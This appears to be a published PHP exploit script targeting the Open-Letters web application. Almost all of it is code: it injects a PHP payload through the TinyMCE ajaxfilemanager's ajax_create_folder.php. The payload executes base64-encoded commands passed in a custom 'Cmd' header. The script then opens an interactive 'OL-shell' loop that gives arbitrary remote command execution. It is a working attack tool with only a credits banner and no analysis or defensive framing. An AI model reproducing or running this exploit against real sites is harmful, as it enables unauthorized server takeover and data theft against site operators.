Open Letters Remote PHP Code Injection

`<?php  
  
/*  
OutPut:  
#[+] Author: TUNISIAN CYBER  
#[+] Script coded BY: Egidio Romano aka EgiX  
#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability  
#[+] Date: 19-04-2015  
#[+] Vendor: http://www.open-letters.de/  
#[+] Type: WebAPP  
#[+] Tested on: KaliLinux (Debian)  
#[+] CVE:  
#[+] Twitter: @TCYB3R  
#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com  
#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png  
OL-shell>   
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
if (!($sock = fsockopen($host, 80)))  
die( "\n[-] No response from {$host}:80\n");  
  
fwrite($sock, $packet);  
return stream_get_contents($sock);  
}  
  
print "#[+] Author: TUNISIAN CYBER\n";  
print "#[+] Script coded BY: Egidio Romano aka EgiX\n";  
print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n";  
print "#[+] Date: 19-04-2015\n";  
print "#[+] Vendor: http://www.open-letters.de/\n";  
print "#[+] Type: WebAPP\n";  
print "#[+] Tested on: KaliLinux (Debian)\n";  
print "#[+] CVE:\n";  
print "#[+] Twitter: @TCYB3R\n";  
print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n";  
print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] <host> <path>";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /zenphoto/\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";  
$packet = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($exploit)."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Connection: close\r\n\r\n{$exploit}";  
  
http_send($host, $packet);  
  
$packet = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cmd: %s\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
while(1)  
{  
print "\nOL-shell> ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?  
print $m[1] : die("\n[-] Exploit failed!\n");  
}  
  
?>  
`